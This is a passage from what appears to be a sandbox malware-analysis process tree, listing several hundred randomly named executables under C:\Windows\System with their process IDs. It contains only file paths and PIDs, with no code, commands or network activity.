  C:\Windows\System\ONExidF.exe
  2⤵
  PID:8376
- C:\Windows\System\GeXpIFh.exe
  C:\Windows\System\GeXpIFh.exe
  2⤵
  PID:8400
- C:\Windows\System\ZuclYur.exe
  C:\Windows\System\ZuclYur.exe
  2⤵
  PID:8420
- C:\Windows\System\QtiMfdC.exe
  C:\Windows\System\QtiMfdC.exe
  2⤵
  PID:8440
- C:\Windows\System\lyYjoPj.exe
  C:\Windows\System\lyYjoPj.exe
  2⤵
  PID:8468
- C:\Windows\System\bdhTsjx.exe
  C:\Windows\System\bdhTsjx.exe
  2⤵
  PID:8504
- C:\Windows\System\xPBmiAT.exe
  C:\Windows\System\xPBmiAT.exe
  2⤵
  PID:8524
- C:\Windows\System\xuYYMCG.exe
  C:\Windows\System\xuYYMCG.exe
  2⤵
  PID:8552
- C:\Windows\System\IdCbMsQ.exe
  C:\Windows\System\IdCbMsQ.exe
  2⤵
  PID:8580
- C:\Windows\System\Tnehgsn.exe
  C:\Windows\System\Tnehgsn.exe
  2⤵
  PID:8600
- C:\Windows\System\rjouaGj.exe
  C:\Windows\System\rjouaGj.exe
  2⤵
  PID:8620
- C:\Windows\System\RhIIRWl.exe
  C:\Windows\System\RhIIRWl.exe
  2⤵
  PID:8644
- C:\Windows\System\LnyzwMg.exe
  C:\Windows\System\LnyzwMg.exe
  2⤵
  PID:8664
- C:\Windows\System\bbeoRKv.exe
  C:\Windows\System\bbeoRKv.exe
  2⤵
  PID:8684
- C:\Windows\System\zLiRRAo.exe
  C:\Windows\System\zLiRRAo.exe
  2⤵
  PID:8704
- C:\Windows\System\gtdaWmT.exe
  C:\Windows\System\gtdaWmT.exe
  2⤵
  PID:8732
- C:\Windows\System\CBWBraQ.exe
  C:\Windows\System\CBWBraQ.exe
  2⤵
  PID:8760
- C:\Windows\System\ngeygUS.exe
  C:\Windows\System\ngeygUS.exe
  2⤵
  PID:8780
- C:\Windows\System\bpFffZF.exe
  C:\Windows\System\bpFffZF.exe
  2⤵
  PID:8804
- C:\Windows\System\lUyVBCO.exe
  C:\Windows\System\lUyVBCO.exe
  2⤵
  PID:8836
- C:\Windows\System\zuwzfmM.exe
  C:\Windows\System\zuwzfmM.exe
  2⤵
  PID:8852
- C:\Windows\System\kQJzanh.exe
  C:\Windows\System\kQJzanh.exe
  2⤵
  PID:8872
- C:\Windows\System\PBjMYOG.exe
  C:\Windows\System\PBjMYOG.exe
  2⤵
  PID:8900
- C:\Windows\System\lbRDqhp.exe
  C:\Windows\System\lbRDqhp.exe
  2⤵
  PID:8920
- C:\Windows\System\nNhyzNj.exe
  C:\Windows\System\nNhyzNj.exe
  2⤵
  PID:8940
- C:\Windows\System\bywdIHF.exe
  C:\Windows\System\bywdIHF.exe
  2⤵
  PID:8964
- C:\Windows\System\tGBCPyh.exe
  C:\Windows\System\tGBCPyh.exe
  2⤵
  PID:8984
- C:\Windows\System\fKWrRsN.exe
  C:\Windows\System\fKWrRsN.exe
  2⤵
  PID:9008
- C:\Windows\System\DQfIMxH.exe
  C:\Windows\System\DQfIMxH.exe
  2⤵
  PID:9032
- C:\Windows\System\uSellfn.exe
  C:\Windows\System\uSellfn.exe
  2⤵
  PID:9052
- C:\Windows\System\rMkPGAh.exe
  C:\Windows\System\rMkPGAh.exe
  2⤵
  PID:9076
- C:\Windows\System\PXdMySv.exe
  C:\Windows\System\PXdMySv.exe
  2⤵
  PID:9100
- C:\Windows\System\pSKkXLm.exe
  C:\Windows\System\pSKkXLm.exe
  2⤵
  PID:9124
- C:\Windows\System\uJARnbk.exe
  C:\Windows\System\uJARnbk.exe
  2⤵
  PID:9148
- C:\Windows\System\UobybfA.exe
  C:\Windows\System\UobybfA.exe
  2⤵
  PID:9168
- C:\Windows\System\BGUXumE.exe
  C:\Windows\System\BGUXumE.exe
  2⤵
  PID:9192
- C:\Windows\System\btqKBAp.exe
  C:\Windows\System\btqKBAp.exe
  2⤵
  PID:8140
- C:\Windows\System\UkNFBvw.exe
  C:\Windows\System\UkNFBvw.exe
  2⤵
  PID:6904
- C:\Windows\System\YHtaHeT.exe
  C:\Windows\System\YHtaHeT.exe
  2⤵
  PID:7316
- C:\Windows\System\xhcBzFw.exe
  C:\Windows\System\xhcBzFw.exe
  2⤵
  PID:7364
- C:\Windows\System\sgkWbGO.exe
  C:\Windows\System\sgkWbGO.exe
  2⤵
  PID:7456
- C:\Windows\System\eopwZXI.exe
  C:\Windows\System\eopwZXI.exe
  2⤵
  PID:7496
- C:\Windows\System\xGMOlFI.exe
  C:\Windows\System\xGMOlFI.exe
  2⤵
  PID:7540
- C:\Windows\System\HXcgesA.exe
  C:\Windows\System\HXcgesA.exe
  2⤵
  PID:7680
- C:\Windows\System\sgCrnmQ.exe
  C:\Windows\System\sgCrnmQ.exe
  2⤵
  PID:5620
- C:\Windows\System\KjFuNaw.exe
  C:\Windows\System\KjFuNaw.exe
  2⤵
  PID:6264
- C:\Windows\System\UbOBXoB.exe
  C:\Windows\System\UbOBXoB.exe
  2⤵
  PID:7832
- C:\Windows\System\APAHRjo.exe
  C:\Windows\System\APAHRjo.exe
  2⤵
  PID:5608
- C:\Windows\System\aQdTzgy.exe
  C:\Windows\System\aQdTzgy.exe
  2⤵
  PID:7592
- C:\Windows\System\hBIJrKi.exe
  C:\Windows\System\hBIJrKi.exe
  2⤵
  PID:7632
- C:\Windows\System\uLlGFHn.exe
  C:\Windows\System\uLlGFHn.exe
  2⤵
  PID:7712
- C:\Windows\System\RsURZPY.exe
  C:\Windows\System\RsURZPY.exe
  2⤵
  PID:7208
- C:\Windows\System\eqVjruV.exe
  C:\Windows\System\eqVjruV.exe
  2⤵
  PID:8124
- C:\Windows\System\WXzmTfC.exe
  C:\Windows\System\WXzmTfC.exe
  2⤵
  PID:8212
- C:\Windows\System\YEXuVYL.exe
  C:\Windows\System\YEXuVYL.exe
  2⤵
  PID:7344
- C:\Windows\System\rgrVBWM.exe
  C:\Windows\System\rgrVBWM.exe
  2⤵
  PID:8320
- C:\Windows\System\BupFSCE.exe
  C:\Windows\System\BupFSCE.exe
  2⤵
  PID:8384
- C:\Windows\System\cHomxQD.exe
  C:\Windows\System\cHomxQD.exe
  2⤵
  PID:9220
- C:\Windows\System\QrLKRUv.exe
  C:\Windows\System\QrLKRUv.exe
  2⤵
  PID:9240
- C:\Windows\System\nUGxuvz.exe
  C:\Windows\System\nUGxuvz.exe
  2⤵
  PID:9260
- C:\Windows\System\joyTRcW.exe
  C:\Windows\System\joyTRcW.exe
  2⤵
  PID:9284
- C:\Windows\System\JxieoAx.exe
  C:\Windows\System\JxieoAx.exe
  2⤵
  PID:9304
- C:\Windows\System\gDXKcwl.exe
  C:\Windows\System\gDXKcwl.exe
  2⤵
  PID:9332
- C:\Windows\System\nCHKOYO.exe
  C:\Windows\System\nCHKOYO.exe
  2⤵
  PID:9356
- C:\Windows\System\IyFKZXU.exe
  C:\Windows\System\IyFKZXU.exe
  2⤵
  PID:9380
- C:\Windows\System\KlLAKte.exe
  C:\Windows\System\KlLAKte.exe
  2⤵
  PID:9404
- C:\Windows\System\NmdMBHU.exe
  C:\Windows\System\NmdMBHU.exe
  2⤵
  PID:9428
- C:\Windows\System\jlJXClh.exe
  C:\Windows\System\jlJXClh.exe
  2⤵
  PID:9452
- C:\Windows\System\yuaLXei.exe
  C:\Windows\System\yuaLXei.exe
  2⤵
  PID:9480
- C:\Windows\System\ZjxPzUd.exe
  C:\Windows\System\ZjxPzUd.exe
  2⤵
  PID:9496
- C:\Windows\System\PaafkAp.exe
  C:\Windows\System\PaafkAp.exe
  2⤵
  PID:9520
- C:\Windows\System\ZOVnKrn.exe
  C:\Windows\System\ZOVnKrn.exe
  2⤵
  PID:9540
- C:\Windows\System\aGakBsR.exe
  C:\Windows\System\aGakBsR.exe
  2⤵
  PID:9564
- C:\Windows\System\HYfzIft.exe
  C:\Windows\System\HYfzIft.exe
  2⤵
  PID:9584
- C:\Windows\System\RSIYXoB.exe
  C:\Windows\System\RSIYXoB.exe
  2⤵
  PID:9604
- C:\Windows\System\ltSUbPt.exe
  C:\Windows\System\ltSUbPt.exe
  2⤵
  PID:9624
- C:\Windows\System\IKLblgG.exe
  C:\Windows\System\IKLblgG.exe
  2⤵
  PID:9648
- C:\Windows\System\LjHxQhT.exe
  C:\Windows\System\LjHxQhT.exe
  2⤵
  PID:9672
- C:\Windows\System\HuKAsZm.exe
  C:\Windows\System\HuKAsZm.exe
  2⤵
  PID:9692
- C:\Windows\System\YOXAmqp.exe
  C:\Windows\System\YOXAmqp.exe
  2⤵
  PID:9712
- C:\Windows\System\IUjEeif.exe
  C:\Windows\System\IUjEeif.exe
  2⤵
  PID:9736
- C:\Windows\System\ZqVkdGK.exe
  C:\Windows\System\ZqVkdGK.exe
  2⤵
  PID:9760
- C:\Windows\System\tHZEuXx.exe
  C:\Windows\System\tHZEuXx.exe
  2⤵
  PID:9788
- C:\Windows\System\YXypxQj.exe
  C:\Windows\System\YXypxQj.exe
  2⤵
  PID:9808
- C:\Windows\System\wbOEDhr.exe
  C:\Windows\System\wbOEDhr.exe
  2⤵
  PID:9832
- C:\Windows\System\nHcbmwH.exe
  C:\Windows\System\nHcbmwH.exe
  2⤵
  PID:9852
- C:\Windows\System\rrvkpMw.exe
  C:\Windows\System\rrvkpMw.exe
  2⤵
  PID:9876
- C:\Windows\System\XATfXVf.exe
  C:\Windows\System\XATfXVf.exe
  2⤵
  PID:9900
- C:\Windows\System\YnAFfKQ.exe
  C:\Windows\System\YnAFfKQ.exe
  2⤵
  PID:9924
- C:\Windows\System\yqVLHFP.exe
  C:\Windows\System\yqVLHFP.exe
  2⤵
  PID:9948
- C:\Windows\System\GkWOIoX.exe
  C:\Windows\System\GkWOIoX.exe
  2⤵
  PID:9972
- C:\Windows\System\GcGJHSR.exe
  C:\Windows\System\GcGJHSR.exe
  2⤵
  PID:9996
- C:\Windows\System\OvsENTJ.exe
  C:\Windows\System\OvsENTJ.exe
  2⤵
  PID:10016
- C:\Windows\System\EmWIeDc.exe
  C:\Windows\System\EmWIeDc.exe
  2⤵
  PID:10036
- C:\Windows\System\BPYaBYb.exe
  C:\Windows\System\BPYaBYb.exe
  2⤵
  PID:10056
- C:\Windows\System\cYedgvg.exe
  C:\Windows\System\cYedgvg.exe
  2⤵
  PID:10080
- C:\Windows\System\IBagjtM.exe
  C:\Windows\System\IBagjtM.exe
  2⤵
  PID:10100
- C:\Windows\System\LYYRAMq.exe
  C:\Windows\System\LYYRAMq.exe
  2⤵
  PID:10120
- C:\Windows\System\axEmXaW.exe
  C:\Windows\System\axEmXaW.exe
  2⤵
  PID:10144
- C:\Windows\System\yTslQPR.exe
  C:\Windows\System\yTslQPR.exe
  2⤵
  PID:10168
- C:\Windows\System\SVDSXtc.exe
  C:\Windows\System\SVDSXtc.exe
  2⤵
  PID:10188
- C:\Windows\System\qtEdFgb.exe
  C:\Windows\System\qtEdFgb.exe
  2⤵
  PID:10216
- C:\Windows\System\PSVvoSi.exe
  C:\Windows\System\PSVvoSi.exe
  2⤵
  PID:10236
- C:\Windows\System\lXQSFZU.exe
  C:\Windows\System\lXQSFZU.exe
  2⤵
  PID:5344
- C:\Windows\System\ACUlXMB.exe
  C:\Windows\System\ACUlXMB.exe
  2⤵
  PID:6584
- C:\Windows\System\SXABdxo.exe
  C:\Windows\System\SXABdxo.exe
  2⤵
  PID:6648
- C:\Windows\System\DEErHLN.exe
  C:\Windows\System\DEErHLN.exe
  2⤵
  PID:7764
- C:\Windows\System\rOCcCdz.exe
  C:\Windows\System\rOCcCdz.exe
  2⤵
  PID:8636
- C:\Windows\System\XFNhEVJ.exe
  C:\Windows\System\XFNhEVJ.exe
  2⤵
  PID:8800
- C:\Windows\System\NTHtonm.exe
  C:\Windows\System\NTHtonm.exe
  2⤵
  PID:7796
- C:\Windows\System\AYIjjci.exe
  C:\Windows\System\AYIjjci.exe
  2⤵
  PID:8864
- C:\Windows\System\dpmKzYT.exe
  C:\Windows\System\dpmKzYT.exe
  2⤵
  PID:8908
- C:\Windows\System\QmVXTbh.exe
  C:\Windows\System\QmVXTbh.exe
  2⤵
  PID:8960
- C:\Windows\System\YbzPmxn.exe
  C:\Windows\System\YbzPmxn.exe
  2⤵
  PID:7892
- C:\Windows\System\valMrbV.exe
  C:\Windows\System\valMrbV.exe
  2⤵
  PID:7944
- C:\Windows\System\XRZLUyv.exe
  C:\Windows\System\XRZLUyv.exe
  2⤵
  PID:6544
- C:\Windows\System\xrDgCSm.exe
  C:\Windows\System\xrDgCSm.exe
  2⤵
  PID:8048
- C:\Windows\System\uJQDMsI.exe
  C:\Windows\System\uJQDMsI.exe
  2⤵
  PID:8108
- C:\Windows\System\QOXfgeV.exe
  C:\Windows\System\QOXfgeV.exe
  2⤵
  PID:7340
- C:\Windows\System\heuDHeZ.exe
  C:\Windows\System\heuDHeZ.exe
  2⤵
  PID:8228
- C:\Windows\System\wBFGhUP.exe
  C:\Windows\System\wBFGhUP.exe
  2⤵
  PID:5980
- C:\Windows\System\aGnjFhk.exe
  C:\Windows\System\aGnjFhk.exe
  2⤵
  PID:8412
- C:\Windows\System\pwXejLF.exe
  C:\Windows\System\pwXejLF.exe
  2⤵
  PID:6920
- C:\Windows\System\zJwMiBz.exe
  C:\Windows\System\zJwMiBz.exe
  2⤵
  PID:8520
- C:\Windows\System\OhReeRU.exe
  C:\Windows\System\OhReeRU.exe
  2⤵
  PID:9236
- C:\Windows\System\WbzCJKr.exe
  C:\Windows\System\WbzCJKr.exe
  2⤵
  PID:8436
- C:\Windows\System\SgdAjTv.exe
  C:\Windows\System\SgdAjTv.exe
  2⤵
  PID:8676
- C:\Windows\System\SbrEDPc.exe
  C:\Windows\System\SbrEDPc.exe
  2⤵
  PID:6008
- C:\Windows\System\jskWCJC.exe
  C:\Windows\System\jskWCJC.exe
  2⤵
  PID:7184
- C:\Windows\System\tZsQmsU.exe
  C:\Windows\System\tZsQmsU.exe
  2⤵
  PID:10252
- C:\Windows\System\RZKuIBg.exe
  C:\Windows\System\RZKuIBg.exe
  2⤵
  PID:10272
- C:\Windows\System\LPtuntk.exe
  C:\Windows\System\LPtuntk.exe
  2⤵
  PID:10292
- C:\Windows\System\ySzLcMO.exe
  C:\Windows\System\ySzLcMO.exe
  2⤵
  PID:10312
- C:\Windows\System\YXfyINI.exe
  C:\Windows\System\YXfyINI.exe
  2⤵
  PID:10336
- C:\Windows\System\ftHlIxC.exe
  C:\Windows\System\ftHlIxC.exe
  2⤵
  PID:10356
- C:\Windows\System\EGnzZHu.exe
  C:\Windows\System\EGnzZHu.exe
  2⤵
  PID:10380
- C:\Windows\System\FBqVZcq.exe
  C:\Windows\System\FBqVZcq.exe
  2⤵
  PID:10396
- C:\Windows\System\SJPSZoz.exe
  C:\Windows\System\SJPSZoz.exe
  2⤵
  PID:10420
- C:\Windows\System\jjfkSJq.exe
  C:\Windows\System\jjfkSJq.exe
  2⤵
  PID:10444
- C:\Windows\System\ePPYpkY.exe
  C:\Windows\System\ePPYpkY.exe
  2⤵
  PID:10472
- C:\Windows\System\WtUNjOW.exe
  C:\Windows\System\WtUNjOW.exe
  2⤵
  PID:10492
- C:\Windows\System\MAyaNJU.exe
  C:\Windows\System\MAyaNJU.exe
  2⤵
  PID:10516
- C:\Windows\System\qhapUgi.exe
  C:\Windows\System\qhapUgi.exe
  2⤵
  PID:10536
- C:\Windows\System\OcNcflB.exe
  C:\Windows\System\OcNcflB.exe
  2⤵
  PID:10564
- C:\Windows\System\elCHTZb.exe
  C:\Windows\System\elCHTZb.exe
  2⤵
  PID:10588
- C:\Windows\System\KRdruas.exe
  C:\Windows\System\KRdruas.exe
  2⤵
  PID:10612
- C:\Windows\System\XXeLIoe.exe
  C:\Windows\System\XXeLIoe.exe
  2⤵
  PID:10632
- C:\Windows\System\cBcPrKI.exe
  C:\Windows\System\cBcPrKI.exe
  2⤵
  PID:10660
- C:\Windows\System\cUQRAaF.exe
  C:\Windows\System\cUQRAaF.exe
  2⤵
  PID:10676
- C:\Windows\System\LAcDJAp.exe
  C:\Windows\System\LAcDJAp.exe
  2⤵
  PID:10704
- C:\Windows\System\gViRLjP.exe
  C:\Windows\System\gViRLjP.exe
  2⤵
  PID:10724
- C:\Windows\System\tgZrNUm.exe
  C:\Windows\System\tgZrNUm.exe
  2⤵
  PID:10744
- C:\Windows\System\hTUTRmt.exe
  C:\Windows\System\hTUTRmt.exe
  2⤵
  PID:10772
- C:\Windows\System\vDVLzMi.exe
  C:\Windows\System\vDVLzMi.exe
  2⤵
  PID:10796
- C:\Windows\System\DnZCjbV.exe
  C:\Windows\System\DnZCjbV.exe
  2⤵
  PID:10824
- C:\Windows\System\asDLDAZ.exe
  C:\Windows\System\asDLDAZ.exe
  2⤵
  PID:10844
- C:\Windows\System\rqtGygW.exe
  C:\Windows\System\rqtGygW.exe
  2⤵
  PID:10868
- C:\Windows\System\nZYibuQ.exe
  C:\Windows\System\nZYibuQ.exe
  2⤵
  PID:10884
- C:\Windows\System\zWDTUWD.exe
  C:\Windows\System\zWDTUWD.exe
  2⤵
  PID:10908
- C:\Windows\System\YMLYPPX.exe
  C:\Windows\System\YMLYPPX.exe
  2⤵
  PID:10924
- C:\Windows\System\HiTfawq.exe
  C:\Windows\System\HiTfawq.exe
  2⤵
  PID:10940
- C:\Windows\System\UbExRcx.exe
  C:\Windows\System\UbExRcx.exe
  2⤵
  PID:10960
- C:\Windows\System\xNHyeyZ.exe
  C:\Windows\System\xNHyeyZ.exe
  2⤵
  PID:10984
- C:\Windows\System\UiFddZe.exe
  C:\Windows\System\UiFddZe.exe
  2⤵
  PID:11004
- C:\Windows\System\Lhcnust.exe
  C:\Windows\System\Lhcnust.exe
  2⤵
  PID:11024
- C:\Windows\System\RFYIXxa.exe
  C:\Windows\System\RFYIXxa.exe
  2⤵
  PID:11040
- C:\Windows\System\YxOKdpf.exe
  C:\Windows\System\YxOKdpf.exe
  2⤵
  PID:11060
- C:\Windows\System\zqPsscO.exe
  C:\Windows\System\zqPsscO.exe
  2⤵
  PID:11088
- C:\Windows\System\VCKTOiM.exe
  C:\Windows\System\VCKTOiM.exe
  2⤵
  PID:11112
- C:\Windows\System\olGOrNC.exe
  C:\Windows\System\olGOrNC.exe
  2⤵
  PID:11136
- C:\Windows\System\JAVvwIm.exe
  C:\Windows\System\JAVvwIm.exe
  2⤵
  PID:11152
- C:\Windows\System\RjdncWu.exe
  C:\Windows\System\RjdncWu.exe
  2⤵
  PID:11168
- C:\Windows\System\ZKfVSOM.exe
  C:\Windows\System\ZKfVSOM.exe
  2⤵
  PID:11188
- C:\Windows\System\RBvbNVQ.exe
  C:\Windows\System\RBvbNVQ.exe
  2⤵
  PID:11208
- C:\Windows\System\Smmevys.exe
  C:\Windows\System\Smmevys.exe
  2⤵
  PID:11228
- C:\Windows\System\NOsOmQP.exe
  C:\Windows\System\NOsOmQP.exe
  2⤵
  PID:11256
- C:\Windows\System\SWrpOjw.exe
  C:\Windows\System\SWrpOjw.exe
  2⤵
  PID:8892
- C:\Windows\System\yqaXxyu.exe
  C:\Windows\System\yqaXxyu.exe
  2⤵
  PID:7572
- C:\Windows\System\vjPSkXr.exe
  C:\Windows\System\vjPSkXr.exe
  2⤵
  PID:9796
- C:\Windows\System\YbgHKqe.exe
  C:\Windows\System\YbgHKqe.exe
  2⤵
  PID:9908
- C:\Windows\System\RAlCNNs.exe
  C:\Windows\System\RAlCNNs.exe
  2⤵
  PID:9188
- C:\Windows\System\OxDKAAS.exe
  C:\Windows\System\OxDKAAS.exe
  2⤵
  PID:6088
- C:\Windows\System\jouxYCW.exe
  C:\Windows\System\jouxYCW.exe
  2⤵
  PID:10228
- C:\Windows\System\GVuGWLP.exe
  C:\Windows\System\GVuGWLP.exe
  2⤵
  PID:8700
- C:\Windows\System\TGqebCe.exe
  C:\Windows\System\TGqebCe.exe
  2⤵
  PID:8812
- C:\Windows\System\vRpxSMe.exe
  C:\Windows\System\vRpxSMe.exe
  2⤵
  PID:8032
- C:\Windows\System\SnVtvhv.exe
  C:\Windows\System\SnVtvhv.exe
  2⤵
  PID:8956
- C:\Windows\System\TZApYnH.exe
  C:\Windows\System\TZApYnH.exe
  2⤵
  PID:8452
- C:\Windows\System\iuUeTEP.exe
  C:\Windows\System\iuUeTEP.exe
  2⤵
  PID:8176
- C:\Windows\System\gmKOYbB.exe
  C:\Windows\System\gmKOYbB.exe
  2⤵
  PID:8532
- C:\Windows\System\LSSrSsB.exe
  C:\Windows\System\LSSrSsB.exe
  2⤵
  PID:9400
- C:\Windows\System\jYQHYMM.exe
  C:\Windows\System\jYQHYMM.exe
  2⤵
  PID:4800
- C:\Windows\System\HsEVfgM.exe
  C:\Windows\System\HsEVfgM.exe
  2⤵
  PID:10260
- C:\Windows\System\DYfhqFg.exe
  C:\Windows\System\DYfhqFg.exe
  2⤵
  PID:9468
- C:\Windows\System\ueuDafY.exe
  C:\Windows\System\ueuDafY.exe
  2⤵
  PID:9504
- C:\Windows\System\TDbFMpS.exe
  C:\Windows\System\TDbFMpS.exe
  2⤵
  PID:9536
- C:\Windows\System\MicwdYz.exe
  C:\Windows\System\MicwdYz.exe
  2⤵
  PID:9560
- C:\Windows\System\DmXhQby.exe
  C:\Windows\System\DmXhQby.exe
  2⤵
  PID:9580
- C:\Windows\System\qoDIcJQ.exe
  C:\Windows\System\qoDIcJQ.exe
  2⤵
  PID:9640
- C:\Windows\System\ZbcgEVz.exe
  C:\Windows\System\ZbcgEVz.exe
  2⤵
  PID:10388
- C:\Windows\System\detUjxj.exe
  C:\Windows\System\detUjxj.exe
  2⤵
  PID:9708
- C:\Windows\System\rpYGfkA.exe
  C:\Windows\System\rpYGfkA.exe
  2⤵
  PID:9840
- C:\Windows\System\pDrsALf.exe
  C:\Windows\System\pDrsALf.exe
  2⤵
  PID:9068
- C:\Windows\System\bbpWsOS.exe
  C:\Windows\System\bbpWsOS.exe
  2⤵
  PID:10692
- C:\Windows\System\gIEHqac.exe
  C:\Windows\System\gIEHqac.exe
  2⤵
  PID:9140
- C:\Windows\System\GbWResb.exe
  C:\Windows\System\GbWResb.exe
  2⤵
  PID:10792
- C:\Windows\System\LxtmliD.exe
  C:\Windows\System\LxtmliD.exe
  2⤵
  PID:10068
- C:\Windows\System\nNrIcdW.exe
  C:\Windows\System\nNrIcdW.exe
  2⤵
  PID:10128
- C:\Windows\System\VgPRvge.exe
  C:\Windows\System\VgPRvge.exe
  2⤵
  PID:10164
- C:\Windows\System\hXLTUNX.exe
  C:\Windows\System\hXLTUNX.exe
  2⤵
  PID:4480
- C:\Windows\System\nZRSYmW.exe
  C:\Windows\System\nZRSYmW.exe
  2⤵
  PID:2812
- C:\Windows\System\ggchccQ.exe
  C:\Windows\System\ggchccQ.exe
  2⤵
  PID:2496
- C:\Windows\System\WVOgtuQ.exe
  C:\Windows\System\WVOgtuQ.exe
  2⤵
  PID:2692
- C:\Windows\System\kfKqqkz.exe
  C:\Windows\System\kfKqqkz.exe
  2⤵
  PID:8152
- C:\Windows\System\NzlQtYB.exe
  C:\Windows\System\NzlQtYB.exe
  2⤵
  PID:10232
- C:\Windows\System\dhyoUsb.exe
  C:\Windows\System\dhyoUsb.exe
  2⤵
  PID:10880
- C:\Windows\System\yWaNSyi.exe
  C:\Windows\System\yWaNSyi.exe
  2⤵
  PID:6632
- C:\Windows\System\PkBrwuv.exe
  C:\Windows\System\PkBrwuv.exe
  2⤵
  PID:10916
- C:\Windows\System\lZlUEJL.exe
  C:\Windows\System\lZlUEJL.exe
  2⤵
  PID:1856
- C:\Windows\System\rHlcjCl.exe
  C:\Windows\System\rHlcjCl.exe
  2⤵
  PID:8844
- C:\Windows\System\jZdZXCs.exe
  C:\Windows\System\jZdZXCs.exe
  2⤵
  PID:8100
- C:\Windows\System\Huocymv.exe
  C:\Windows\System\Huocymv.exe
  2⤵
  PID:8064
- C:\Windows\System\zWCRgGN.exe
  C:\Windows\System\zWCRgGN.exe
  2⤵
  PID:10332
- C:\Windows\System\rVnYKtE.exe
  C:\Windows\System\rVnYKtE.exe
  2⤵
  PID:11276
- C:\Windows\System\jSSyAWA.exe
  C:\Windows\System\jSSyAWA.exe
  2⤵
  PID:11344
- C:\Windows\System\nXMybCq.exe
  C:\Windows\System\nXMybCq.exe
  2⤵
  PID:11380
- C:\Windows\System\kHzNfqK.exe
  C:\Windows\System\kHzNfqK.exe
  2⤵
  PID:11416
- C:\Windows\System\uYgpAzO.exe
  C:\Windows\System\uYgpAzO.exe
  2⤵
  PID:11452
- C:\Windows\System\nJhZSdo.exe
  C:\Windows\System\nJhZSdo.exe
  2⤵
  PID:11484
- C:\Windows\System\ZuOKASY.exe
  C:\Windows\System\ZuOKASY.exe
  2⤵
  PID:11512
- C:\Windows\System\UgemvCC.exe
  C:\Windows\System\UgemvCC.exe
  2⤵
  PID:11540
- C:\Windows\System\LgSkcRN.exe
  C:\Windows\System\LgSkcRN.exe
  2⤵
  PID:11560
- C:\Windows\System\DklYQEi.exe
  C:\Windows\System\DklYQEi.exe
  2⤵
  PID:11576
- C:\Windows\System\MEYlRAl.exe
  C:\Windows\System\MEYlRAl.exe
  2⤵
  PID:11592
- C:\Windows\System\QLYbjSb.exe
  C:\Windows\System\QLYbjSb.exe
  2⤵
  PID:11612
- C:\Windows\System\WqOptjE.exe
  C:\Windows\System\WqOptjE.exe
  2⤵
  PID:11632
- C:\Windows\System\GbmKRdN.exe
  C:\Windows\System\GbmKRdN.exe
  2⤵
  PID:11652
- C:\Windows\System\FucMIyW.exe
  C:\Windows\System\FucMIyW.exe
  2⤵
  PID:11672
- C:\Windows\System\CfDKsDp.exe
  C:\Windows\System\CfDKsDp.exe
  2⤵
  PID:11696
- C:\Windows\System\TItXCtl.exe
  C:\Windows\System\TItXCtl.exe
  2⤵
  PID:11716
- C:\Windows\System\ZsWqDmX.exe
  C:\Windows\System\ZsWqDmX.exe
  2⤵
  PID:11736
- C:\Windows\System\rpdvOaW.exe
  C:\Windows\System\rpdvOaW.exe
  2⤵
  PID:11756
- C:\Windows\System\VibOkbN.exe
  C:\Windows\System\VibOkbN.exe
  2⤵
  PID:11776
- C:\Windows\System\HgYSuCs.exe
  C:\Windows\System\HgYSuCs.exe
  2⤵
  PID:11796
- C:\Windows\System\ReuyEZY.exe
  C:\Windows\System\ReuyEZY.exe
  2⤵
  PID:11816
- C:\Windows\System\HOAxTkT.exe
  C:\Windows\System\HOAxTkT.exe
  2⤵
  PID:11836
- C:\Windows\System\dWVModw.exe
  C:\Windows\System\dWVModw.exe
  2⤵
  PID:11856
- C:\Windows\System\xHBhpfH.exe
  C:\Windows\System\xHBhpfH.exe
  2⤵
  PID:11876
- C:\Windows\System\vOBNvFM.exe
  C:\Windows\System\vOBNvFM.exe
  2⤵
  PID:11896
- C:\Windows\System\GAyozJR.exe
  C:\Windows\System\GAyozJR.exe
  2⤵
  PID:11916
- C:\Windows\System\wbMfOcd.exe
  C:\Windows\System\wbMfOcd.exe
  2⤵
  PID:11936
- C:\Windows\System\MbNSdpr.exe
  C:\Windows\System\MbNSdpr.exe
  2⤵
  PID:11956
- C:\Windows\System\OjCbdSo.exe
  C:\Windows\System\OjCbdSo.exe
  2⤵
  PID:11976
- C:\Windows\System\KAnADpz.exe
  C:\Windows\System\KAnADpz.exe
  2⤵
  PID:11996
- C:\Windows\System\CjXEmLe.exe
  C:\Windows\System\CjXEmLe.exe
  2⤵
  PID:12020
- C:\Windows\System\rEcDmbZ.exe
  C:\Windows\System\rEcDmbZ.exe
  2⤵
  PID:12040
- C:\Windows\System\DfiHKee.exe
  C:\Windows\System\DfiHKee.exe
  2⤵
  PID:12060
- C:\Windows\System\LETnisa.exe
  C:\Windows\System\LETnisa.exe
  2⤵
  PID:12084
- C:\Windows\System\fgHvGVQ.exe
  C:\Windows\System\fgHvGVQ.exe
  2⤵
  PID:12104
- C:\Windows\System\vhHSeNk.exe
  C:\Windows\System\vhHSeNk.exe
  2⤵
  PID:12128
- C:\Windows\System\BKgvjOr.exe
  C:\Windows\System\BKgvjOr.exe
  2⤵
  PID:12148
- C:\Windows\System\veQOWks.exe
  C:\Windows\System\veQOWks.exe
  2⤵
  PID:12168
- C:\Windows\System\frOxgbD.exe
  C:\Windows\System\frOxgbD.exe
  2⤵
  PID:12188
- C:\Windows\System\lvdCYpt.exe
  C:\Windows\System\lvdCYpt.exe
  2⤵
  PID:12208
- C:\Windows\System\lhhbcVr.exe
  C:\Windows\System\lhhbcVr.exe
  2⤵
  PID:12228
- C:\Windows\System\nSjjFxG.exe
  C:\Windows\System\nSjjFxG.exe
  2⤵
  PID:12252
- C:\Windows\System\hcALtVj.exe
  C:\Windows\System\hcALtVj.exe
  2⤵
  PID:12272
- C:\Windows\System\lpBfzDB.exe
  C:\Windows\System\lpBfzDB.exe
  2⤵
  PID:10504
- C:\Windows\System\kDISxsH.exe
  C:\Windows\System\kDISxsH.exe
  2⤵
  PID:10552
- C:\Windows\System\MtoIhgf.exe
  C:\Windows\System\MtoIhgf.exe
  2⤵
  PID:9936
- C:\Windows\System\TgYNaRq.exe
  C:\Windows\System\TgYNaRq.exe
  2⤵
  PID:10716
- C:\Windows\System\ancGewN.exe
  C:\Windows\System\ancGewN.exe
  2⤵
  PID:12292
- C:\Windows\System\cVReOsg.exe
  C:\Windows\System\cVReOsg.exe
  2⤵
  PID:12312
- C:\Windows\System\fWuwHNE.exe
  C:\Windows\System\fWuwHNE.exe
  2⤵
  PID:12332
- C:\Windows\System\CiBRYsB.exe
  C:\Windows\System\CiBRYsB.exe
  2⤵
  PID:12356
- C:\Windows\System\BuBmHas.exe
  C:\Windows\System\BuBmHas.exe
  2⤵
  PID:12376
